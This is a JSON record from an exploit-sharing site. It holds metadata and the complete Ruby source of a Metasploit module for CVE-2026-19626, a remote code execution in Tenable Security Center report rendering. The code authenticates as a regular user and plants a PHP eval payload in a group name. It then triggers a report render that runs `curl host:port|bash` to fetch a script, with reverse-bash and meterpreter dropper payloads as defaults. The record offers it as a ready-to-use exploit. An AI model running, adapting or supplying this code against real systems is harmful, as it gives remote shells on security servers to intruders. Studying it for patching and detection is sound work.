{"exploit":{"id":"MSF-linux--http--tenable_sc_report_charting_rce_cve_2026_19626","name":"Tenable Security Center Report Charting RCE","description":"Tenable Security Center prior to 6.9.0 allows an authenticated, non-administrative user to achieve code execution as the web service account (tns) through report generation. A report definition's inline style is discarded at render (components rehydrate styles from the Style tables by styleID), so the payload is delivered through a label instead: a group created with the name `{=system('CMD')}` is accepted verbatim and becomes a pie sector label via a user/sumgroup query; `{label}` substitution runs BEFORE the eval loop, so the payload lands inside the format string and fires at chart render. Regular org users can create both; report launch refuses ROLE_ADMIN - this bug class is explicitly non-admin. Payload constraints: the {=...} regex is non-greedy to the first closing brace, so the expression may not contain one, and PHP string interpolation applies; this module therefore injects only `curl <srvhost>:<srvport>|bash` (a bare host:port GETs / and bash reads the served script from stdin). The served script itself has no such limits, which the Linux Dropper target exploits with a fetch payload (cmd/linux/http/...) that downloads and execs a full native payload (e.g. x64 meterpreter) from the payload adapter's own listener on FETCH_SRVPORT. Report definitions are closed to administrators (creation returns error 163); supply credentials for a regular org user. Tested against SecurityCenter 6.7.2-14 on RHEL9.","cves":["CVE-2026-19626"],"author":"h00die","published":"2026-08-13","platform":"Linux,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/tenable_sc_report_charting_rce_cve_2026_19626.rb","path":"modules/exploits/linux/http/tenable_sc_report_charting_rce_cve_2026_19626.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"tenable_sc_report_charting_rce_cve_2026_19626.rb","vulnerabilities":[{"id":"CVE-2026-19626","state":"PUBLISHED","title":"Remote Code Execution","titleSource":"CVE Program","description":"A remote code execution vulnerability exists in Tenable Security Center's report generation functionality. An authenticated, non-administrative user could exploit this issue by supplying specially crafted input that is later processed unsafely during server-side report rendering, resulting in arbitrary code execution with the privileges of the service account.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-19626","cvss":{"version":"4.0","baseScore":9.4,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","source":"tenable","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-19626"},"updatedAt":"2026-08-15T03:55:52.063Z","retrievedAt":"2026-11-25T16:13:47.226Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--tenable_sc_report_charting_rce_cve_2026_19626.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--tenable_sc_report_charting_rce_cve_2026_19626","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--tenable_sc_report_charting_rce_cve_2026_19626/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--tenable_sc_report_charting_rce_cve_2026_19626/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit\n  Rank = ExcellentRanking\n\n  prepend Msf::Exploit::Remote::AutoCheck\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::Remote::HttpServer\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Tenable Security Center Report Charting RCE',\n        'Description' => %q{\n          Tenable Security Center prior to 6.9.0 allows an authenticated,\n          non-administrative user to achieve code execution as the web service\n          account (tns) through report generation.\n\n          A report definition's inline style is discarded at render (components\n          rehydrate styles from the Style tables by styleID), so the payload is\n          delivered through a label instead: a group created with the name\n          `{=system('CMD')}` is accepted verbatim and becomes a pie sector\n          label via a user/sumgroup query; `{label}` substitution runs BEFORE\n          the eval loop, so the payload lands inside the format string and\n          fires at chart render. Regular org users can create both; report\n          launch refuses ROLE_ADMIN - this bug class is explicitly non-admin.\n\n          Payload constraints: the {=...} regex is non-greedy to the first\n          closing brace, so the expression may not contain one, and PHP string\n          interpolation applies; this module therefore injects only\n          `curl <srvhost>:<srvport>|bash`\n          (a bare host:port GETs / and bash reads the served script from\n          stdin). The served script itself has no such limits, which the\n          Linux Dropper target exploits with a fetch payload\n          (cmd/linux/http/...) that downloads and execs a full native payload\n          (e.g. x64 meterpreter) from the payload adapter's own listener on\n          FETCH_SRVPORT.\n\n          Report definitions are closed to administrators (creation returns\n          error 163); supply credentials for a regular org user.\n\n          Tested against SecurityCenter 6.7.2-14 on RHEL9.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => ['h00die'],\n        'References' => [\n          ['URL', 'https://www.tenable.com/security/tns-2026-22'],\n          ['CVE', '2026-19626']\n        ],\n        'DisclosureDate' => '2026-08-13',\n        'Platform' => ['unix'],\n        'Arch' => ARCH_CMD,\n        'Targets' => [\n          # msf defaults to php payload, but SC bundles its own php and its not in the path so\n          # we want to avoid that since it'll fail\n          ['Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }], # rubocop:disable Lint/ModuleDefaultPayload\n          # the fetch payload adapts ARCH_CMD to a native stage via AdaptedArch;\n          # x86/aarch64/multi variants of cmd/linux/http/... work here too\n          [\n            'Linux Dropper', {\n              'Platform' => 'linux',\n              'Arch' => ARCH_CMD,\n              'DefaultOptions' => {\n                # pinned: a native stage must come through a fetch payload to fit\n                # the charset-limited {=...} expression\n                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' # rubocop:disable Lint/ModuleDefaultPayload\n              }\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'SSL' => true,\n          'RPORT' => 443,\n          'PrependFork' => true,\n          # jobd renders asynchronously; a render queued behind another took\n          # ~25s in the lab (vs 11s solo). Keep the payload servers alive well\n          # past the exploit wait loop below so a late render still lands\n          'WfsDelay' => 30,\n          # fetch-payload staging (module-level so they apply even when the\n          # payload is selected by hand rather than via the Dropper target):\n          # the web process cwd isn't writable by tns, so stage from /tmp, and\n          # keep the fetch listener off this module's SRVPORT script server\n          'FETCH_WRITABLE_DIR' => '/tmp',\n          'FETCH_SRVPORT' => 8081\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\n        }\n      )\n    )\n    register_options([\n      OptString.new('TARGETURI', [true, 'Base path', '/']),\n      # report definitions are closed to admins — regular org user required\n      OptString.new('USERNAME', [true, 'Username to authenticate with (regular org user, not admin)', '']),\n      OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])\n    ])\n    @groups = []\n    @definitions = []\n  end\n\n  def login(username, password)\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'rest', 'token'),\n      'ctype' => 'application/json',\n      'data' => { 'username' => username, 'password' => password }.to_json\n    )\n    fail_with(Failure::Unreachable, 'No response to login') unless res\n    json = res.get_json_document\n    fail_with(Failure::NoAccess, \"Login failed: #{json['error_msg']}\") if json['error_code'] != 0\n\n    token = json['response']\n    token = token['token'] if token.is_a?(Hash)\n    fail_with(Failure::NoAccess, \"No token in login response: #{json}\") if token.blank?\n\n    # the TNS_SESSIONID cookie locates the session; the X-SecurityCenter token is\n    # only accepted alongside it (HttpClient keeps no cookie jar of its own).\n    # SC rotates the session id on login (two Set-Cookie headers) — keep only the\n    # final value; get_cookies also leaks Set-Cookie attributes (SameSite etc.)\n    session = res.get_cookies.scan(/TNS_SESSIONID=([a-f0-9]+)/i).flatten.last\n    fail_with(Failure::NoAccess, 'No TNS_SESSIONID cookie in login response') unless session\n\n    { 'X-SecurityCenter' => token.to_s, 'Cookie' => \"TNS_SESSIONID=#{session}\" }\n  end\n\n  def rest_request(session, method, *path, body: nil)\n    opts = {\n      'method' => method,\n      'uri' => normalize_uri(target_uri.path, 'rest', *path),\n      'headers' => session\n    }\n    if body\n      opts['ctype'] = 'application/json'\n      opts['data'] = body.to_json\n    end\n    res = send_request_cgi(opts)\n    fail_with(Failure::Unreachable, \"No response to #{method} /rest/#{path.join('/')}\") unless res\n    res\n  end\n\n  def rest_json(session, method, *path, body: nil)\n    rest_request(session, method, *path, body: body).get_json_document\n  end\n\n  # report definitions are closed to administrators (error 163); probe with a\n  # benign definition to fail early with a clear reason on admin credentials.\n  # Memoized — check and exploit share.\n  def worker_session\n    return @worker if @worker\n\n    session = login(datastore['USERNAME'], datastore['PASSWORD'])\n    json = rest_json(session, 'POST', 'reportDefinition', body: report_definition)\n    if json['error_code'] == 163\n      fail_with(Failure::NoAccess, 'Credentials are administrative, but report definitions are closed to administrators — supply a regular (non-admin) org user credential')\n    end\n    fail_with(Failure::UnexpectedReply, \"Report creation failed: #{json['error_msg']}\") if json['error_code'] != 0\n\n    delete_tracked_artifact(session, 'reportDefinition', json.dig('response', 'id')) # benign probe, discard now\n    @worker = session\n  end\n\n  # PDF report definition carrying a pieChart component. Schema per the 6.8.0\n  # validators: pdf requires styleFamily and non-empty chapters; chart\n  # components need a per-component dataSource and a style object.\n  #\n  # The inline style's format strings are NOT the delivery vector: they are\n  # stored verbatim in xmlDefinition but discarded at render (getReport's\n  # render context overwrites component style with StyleLib::getComponentStyle()\n  # fetched by styleID — the lab-verified reason the style-only PoC stalls).\n  # The payload rides the GROUP NAME alone ({label} substitution precedes the\n  # eval loop), so the style carries only benign built-in-shaped values and\n  # the payload appears exactly once in the request capture.\n  def report_definition\n    name = Rex::Text.rand_text_alphanumeric(8)\n    component = {\n      'tag' => 'component',\n      'name' => name,\n      'componentType' => 'pieChart',\n      'definition' => {\n        'dataSource' => {\n          'type' => 'query',\n          'querySourceType' => 'individual', # feeds DataSource.querySourceType (NOT NULL)\n          'sortColumn' => 'count',\n          'sortDirection' => 'asc',\n          # user/sumgroup: one row per group — the payload-named group\n          # becomes a sector label\n          'query' => { 'type' => 'user', 'tool' => 'sumgroup', 'filters' => [] }\n        },\n        'columns' => [{ 'name' => 'count' }],\n        'labelColumns' => 'groupID', # sumgroup rows map groupID -> group NAME string\n        'dataPoints' => 25,\n        'imageWidth' => 550,\n        'style' => {\n          'legend' => 'right',\n          'legendFormat' => '{label}',\n          'labelFormat' => '{label}'\n        }\n      }\n    }\n    {\n      'name' => name,\n      'description' => Rex::Text.rand_text_alphanumeric(8),\n      'type' => 'pdf',\n      'styleFamily' => 1, # >12 hard-fails PDF assembly; 1 rides the Plain fallback\n      'schedule' => { 'type' => 'never' }, # schedule required (error 146); never = manual launch only\n      'definition' => { 'chapters' => [{ 'name' => name, 'elements' => [component] }] }\n    }\n  end\n\n  # the {=...} expression body is eval'd as PHP inside a double-quoted string:\n  # no '}' (the regex closes on the first brace) and no quotes/dollar/backtick\n  # (PHP interpolation / payload quoting)\n  def expression(cmd)\n    \"{=system(\\\"#{cmd}\\\")}\"\n  end\n\n  # the delivery vehicle: a group whose NAME is the payload, plus the report\n  # definition that renders it into a pie legend — launch makes jobd render,\n  # and the render evals the group name\n  def fire(payload)\n    json = rest_json(@worker, 'POST', 'group', body: { 'name' => payload, 'description' => Rex::Text.rand_text_alphanumeric(8) })\n    fail_with(Failure::UnexpectedReply, \"Group creation failed: #{json['error_msg']}\") if json['error_code'] != 0\n    @groups << json.dig('response', 'id')\n    vprint_status(\"Created group #{@groups.last} carrying the payload name\")\n\n    json = rest_json(@worker, 'POST', 'reportDefinition', body: report_definition)\n    fail_with(Failure::UnexpectedReply, \"Report definition failed: #{json['error_msg']}\") if json['error_code'] != 0\n    @definitions << json.dig('response', 'id')\n    vprint_status(\"Created report definition #{@definitions.last}\")\n\n    json = rest_json(@worker, 'POST', 'reportDefinition', @definitions.last.to_s, 'launch', body: { 'id' => @definitions.last })\n    fail_with(Failure::UnexpectedReply, \"Report launch failed: #{json['error_msg']}\") if json['error_code'] != 0\n    print_status('Report launched — chart render evals the group-name payload')\n  end\n\n  def payload_srv_ip\n    srvhost == '0.0.0.0' ? Rex::Socket.source_address(rhost) : srvhost\n  end\n\n  # plaintext payload server (see http_server_ssl override): datastore SSL\n  # stays true for the client side against 443. Path MUST be root — the\n  # injected curl|bash fetch carries no path component, and leaving 'Path'\n  # unset mounts the default Proc on a random URI instead. Started once;\n  # check and exploit share it.\n  def start_payload_server\n    return if @server_started\n\n    @server_started = true\n    start_service('Path' => '/')\n  end\n\n  def on_request_uri(cli, _req)\n    vprint_status('Payload script requested')\n    @canary = true\n    # sc brings its own php, so use that location\n    if @payload_cmd&.end_with?('exec php')\n      @payload_cmd = @payload_cmd.gsub(/exec php$/, 'exec /opt/sc/support/bin/php') # normalize line endings\n    end\n    send_response(cli, @payload_cmd.to_s, 'Content-Type' => 'text/plain')\n  end\n\n  # HttpServer's start_service does `opts['ssl'] ||= http_server_ssl`, so an\n  # explicit 'ssl' => false gets clobbered (false is falsey) and the server\n  # inherits the datastore SSL meant for the 443 client side. The injected\n  # `curl host:port|bash` speaks plaintext HTTP — force the reader (aliased to\n  # the datastore ssl) to false so this script server stays http. The Dropper\n  # target's cmd/linux/http fetch payload serves its ELF over plaintext HTTP\n  # too (cmd/linux/https/... exists if that ever needs encrypting).\n  def http_server_ssl\n    false\n  end\n\n  def check\n    @worker = worker_session\n    start_payload_server\n\n    @canary = false\n    srv_ip = payload_srv_ip\n    vprint_status(\"Launching a canary report whose legend curls http://#{srv_ip}:#{datastore['SRVPORT']}/ ...\")\n    fire(expression(\"curl #{srv_ip}:#{datastore['SRVPORT']}\"))\n\n    waited = 0\n    while waited < 30 && !@canary\n      Rex.sleep(1)\n      waited += 1\n    end\n    if @canary\n      CheckCode::Vulnerable(\"Report render eval fired (canary fetched http://#{srv_ip}:#{datastore['SRVPORT']}/ after #{waited}s)\")\n    else\n      CheckCode::Unknown(\"No canary within #{waited}s — jobd render may be queued behind other reports; check /opt/sc/admin/logs/sc-error.log for eval'd-code warnings\")\n    end\n  end\n\n  def exploit\n    @worker = worker_session\n    # for the Dropper target payload.encoded is the fetch payload's\n    # download-and-exec command (curl ELF from FETCH_SRVHOST:FETCH_SRVPORT,\n    # chmod +x, exec); the payload adapter runs that listener itself, so this\n    # module only serves the command text at / below\n    @payload_cmd = payload.encoded\n\n    srv_ip = payload_srv_ip\n    start_payload_server\n\n    inject = \"curl #{srv_ip}:#{datastore['SRVPORT']}|bash\"\n    fail_with(Failure::BadConfig, \"Injection carries characters the {=...} eval cannot survive: #{inject}\") unless inject.count(\"}'\\\"`$\").zero?\n\n    print_status(\"Injecting '#{inject}' as a group name (payload served at http://#{srv_ip}:#{datastore['SRVPORT']}/)\")\n    # baseline BEFORE firing: the dropper can connect back fast enough that the\n    # session exists by the time we reach the wait loop\n    initial = framework.sessions.count\n    fire(expression(inject))\n\n    # keep the payload server alive while jobd renders and the curl|bash runs;\n    # module cleanup would otherwise tear it down before the fetch lands.\n    # Render latency is the jobd queue depth: ~11s solo, ~25s queued behind\n    # one render in the lab — 120s covers a several-deep queue. AutoCheck\n    # doubles the number of renders (canary + payload); set AutoCheck false\n    # to halve the queue\n    print_status('Waiting for the report render and session...')\n    waited = 0\n    while waited < 120 && framework.sessions.count == initial\n      Rex.sleep(1)\n      waited += 1\n      vprint_status(\"Render still pending (#{waited}s)\") if (waited % 30).zero?\n    end\n    if framework.sessions.count > initial\n      print_good('Session opened')\n    else\n      print_warning(\"No session after #{waited}s — the render may still be queued in jobd (re-run, or raise WfsDelay); verify #{srv_ip}:#{datastore['SRVPORT']} is reachable, and check /opt/sc/admin/logs/sc-error.log for eval'd-code warnings\")\n    end\n  end\n\n  # best-effort removal of everything the chain persisted: report definitions\n  # and payload groups. Runs after the wait loop, so a landed session is\n  # unaffected; a still pending render is cut short, which is fine — we\n  # already gave up on it\n  def cleanup\n    cleanup_list(@worker, 'reportDefinition', @definitions)\n    cleanup_list(@worker, 'group', @groups)\n  ensure\n    super\n  end\n\n  def cleanup_list(session, kind, ids)\n    return unless session && ids\n\n    ids.compact.each do |id|\n      rest_request(session, 'DELETE', kind, id.to_s)\n      vprint_status(\"Deleted #{kind} #{id}\")\n    rescue StandardError => e\n      vprint_status(\"Deleting #{kind} #{id} failed: #{e.class} #{e.message}\")\n    end\n  end\n\n  def delete_tracked_artifact(session, kind, id)\n    return if id.blank?\n\n    (@definitions << id) if kind == 'reportDefinition'\n    (@groups << id) if kind == 'group'\n    rest_request(session, 'DELETE', kind, id.to_s)\n    vprint_status(\"Deleted #{kind} #{id}\")\n  rescue StandardError => e\n    vprint_status(\"Deleting #{kind} #{id} failed: #{e.class} #{e.message}\")\n  end\nend\n","sha256":"6cbc0a5c127aa5050cecd7edcfe45b58d217d1c3014f49af5aa2cbd3f1a353ef","bytes":16327,"fetchedAt":"2026-11-25T16:31:00.592Z","encoding":"utf-8 (display only; download retains original bytes)"}